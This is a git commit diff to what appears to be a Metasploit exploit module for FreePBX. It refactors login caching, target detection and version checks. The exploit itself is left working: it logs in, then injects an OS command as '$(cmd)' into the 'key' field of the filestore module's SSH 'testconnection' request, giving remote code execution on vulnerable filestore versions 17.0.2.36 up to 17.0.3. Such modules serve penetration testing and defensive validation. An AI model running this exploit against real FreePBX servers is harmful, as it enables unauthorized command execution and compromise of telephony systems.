Optimize FreePBX module: cache auth/version, reduce verbosity, inline single-use functions

This commit is contained in:
Valentin Lobstein
2025-11-23 22:14:37 +01:00
parent 63c5221f8a
commit c42e44e349
2 changed files with 111 additions and 73 deletions
+65 -33
View File
@@ -8,6 +8,14 @@ module Msf
# Shared routines for FreePBX modules
#
module FreePBX
# Get the admin config URI
#
# @return [String] Admin config URI path
#
def freepbx_admin_uri
normalize_uri(target_uri.path, 'admin', 'config.php')
end
# Get the Referer header for FreePBX requests
#
# @return [String] Referer URL
@@ -15,10 +23,11 @@ module Msf
def freepbx_referer
host = datastore['RHOSTS'] || rhost
host = '127.0.0.1' if host == '::1' || host == 'localhost'
"http#{datastore['SSL'] ? 's' : ''}://#{host}:#{rport}#{normalize_uri(target_uri.path, 'admin', 'config.php')}"
protocol = datastore['SSL'] ? 'https' : 'http'
"#{protocol}://#{host}:#{rport}#{freepbx_admin_uri}"
end
# Authenticate with supplied credentials and return the session cookie.
# Authenticate with supplied credentials and return the session cookie
#
# @param username [String] FreePBX username
# @param password [String] FreePBX password
@@ -26,54 +35,77 @@ module Msf
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
#
def freepbx_login(username, password, timeout = 20)
# Get initial session and login page
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
'method' => 'GET',
'headers' => { 'Referer' => freepbx_referer }
}, timeout)
cache_key = "#{username}:#{password}"
if @freepbx_auth_cache && @freepbx_auth_cache[cache_key]
return @freepbx_auth_cache[cache_key]
end
data = freepbx_get_login_page_data(timeout)
res = data[:response]
return nil unless res
# Extract session cookie
cookie = res.get_cookies
return nil if cookie.empty?
# Extract CSRF token if present
token = nil
if res.body =~ /name="token"\s+value="([^"]+)"/
token = Regexp.last_match(1)
end
# Login POST
post_data = {
'username' => username,
'password' => password
}
post_data['token'] = token if token
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
login_response = send_request_cgi({
'uri' => freepbx_admin_uri,
'method' => 'POST',
'cookie' => cookie,
'headers' => {
'Referer' => freepbx_referer,
'Content-Type' => 'application/x-www-form-urlencoded'
},
'vars_post' => post_data
'vars_post' => {
'username' => username,
'password' => password
}
}, timeout)
return nil unless res
return nil unless login_response
if res.code == 302 || (res.code == 200 && !res.body.include?('Login'))
new_cookie = res.get_cookies
return new_cookie unless new_cookie.empty?
return cookie
body_lower = login_response.body.downcase
if body_lower.include?('invalid username or password') && body_lower.include?('obe_error')
@freepbx_auth_cache ||= {}
@freepbx_auth_cache[cache_key] = :auth_failed
return :auth_failed
end
nil
return nil unless login_response.code == 302 || (login_response.code == 200 && !login_response.body.include?('Login'))
new_cookie = login_response.get_cookies
result = new_cookie.empty? ? cookie : new_cookie
@freepbx_auth_cache ||= {}
@freepbx_auth_cache[cache_key] = result
result
end
# Get or create the login page data
#
# @param timeout [Integer] Request timeout
# @return [Hash] Hash with :response and :detected keys
#
def freepbx_get_login_page_data(timeout = 20)
return @freepbx_login_page if @freepbx_login_page
res = send_request_cgi({
'uri' => freepbx_admin_uri,
'method' => 'GET',
'headers' => { 'Referer' => freepbx_referer }
}, timeout)
body_lower = res&.body&.downcase || ''
detected = (res&.code == 200) && (
body_lower.match?(%r{<title>freepbx\s+administration</title>}) ||
(body_lower.include?('freepbx administration') && body_lower.include?('loginform')) ||
body_lower.include?('assets/js/freepbx.js') ||
body_lower.include?('freepbx-navbar') ||
(body_lower.match?(/id=["']loginform["']/) && body_lower.include?('freepbx'))
)
@freepbx_login_page = {
response: res,
detected: detected
}
end
end
end
@@ -83,36 +83,49 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check
cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
return CheckCode::Unknown('Authentication failed') unless cookie
data = freepbx_get_login_page_data
unless data[:detected]
vprint_status('Target does not appear to be FreePBX')
return CheckCode::Safe('Not FreePBX')
end
# Try to get filestore version
version = get_filestore_version
return CheckCode::Appears('Filestore module is accessible') unless version
cookie = authenticate
return CheckCode::Detected('Invalid credentials') if cookie == :auth_failed
return CheckCode::Safe('Not FreePBX') if cookie.nil?
# Version 17.0.3 and above are patched
return CheckCode::Safe("Patched filestore version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('17.0.3')
version = get_filestore_version_cached(cookie)
return CheckCode::Detected('Filestore module version could not be determined') unless version
# Version 17.0.2.36 is the first vulnerable version (file was introduced in this version)
return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)") if Rex::Version.new(version) < Rex::Version.new('17.0.2.36')
version_obj = Rex::Version.new(version)
return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3')
return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36')
CheckCode::Appears("Vulnerable filestore version #{version} detected")
CheckCode::Appears("Filestore module vulnerable (version #{version})")
end
def exploit
cookie = authenticate
fail_with(Failure::NoAccess, 'Invalid credentials') if cookie == :auth_failed
fail_with(Failure::Unknown, 'Connection error') if cookie.nil?
get_filestore_version_cached(cookie)
execute_command(payload.encoded, { cookie: cookie })
end
def authenticate
@cookie ||= freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Authentication failed') unless @cookie
@cookie
data = freepbx_get_login_page_data
return nil unless data[:detected]
freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
end
def get_filestore_version
authenticate unless @cookie
def get_filestore_version_cached(cookie)
return @filestore_version if @filestore_version
# Get version from the filestore page HTML (JavaScript includes version)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
'cookie' => @cookie,
'cookie' => cookie,
'headers' => { 'Referer' => freepbx_referer },
'vars_get' => {
'display' => 'filestore'
@@ -121,14 +134,18 @@ class MetasploitModule < Msf::Exploit::Remote
return nil unless res&.code == 200
# Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44
match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/)
return nil unless
match[1]
return nil unless match
version = match[1]
vprint_status("Filestore module version: #{version}")
@filestore_version = version
version
end
def send_filestore_request(vars_post = {})
cookie = authenticate
def execute_command(cmd, opts = {})
cookie = opts[:cookie]
fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie
send_request_cgi(
'method' => 'POST',
@@ -143,24 +160,13 @@ class MetasploitModule < Msf::Exploit::Remote
'command' => 'testconnection',
'driver' => 'SSH'
},
'vars_post' => vars_post
'vars_post' => {
'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
'port' => rand(1024..65535).to_s,
'user' => Rex::Text.rand_text_alphanumeric(8),
'key' => "$(#{cmd})",
'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
}
)
end
def execute_command(cmd, _opts = {})
send_filestore_request(
'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
'port' => rand(1024..65535).to_s,
'user' => Rex::Text.rand_text_alphanumeric(8),
'key' => "$(#{cmd})",
'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
)
end
def exploit
authenticate
version = get_filestore_version
vprint_status("Filestore module version: #{version}") if version
execute_command(payload.encoded)
end
end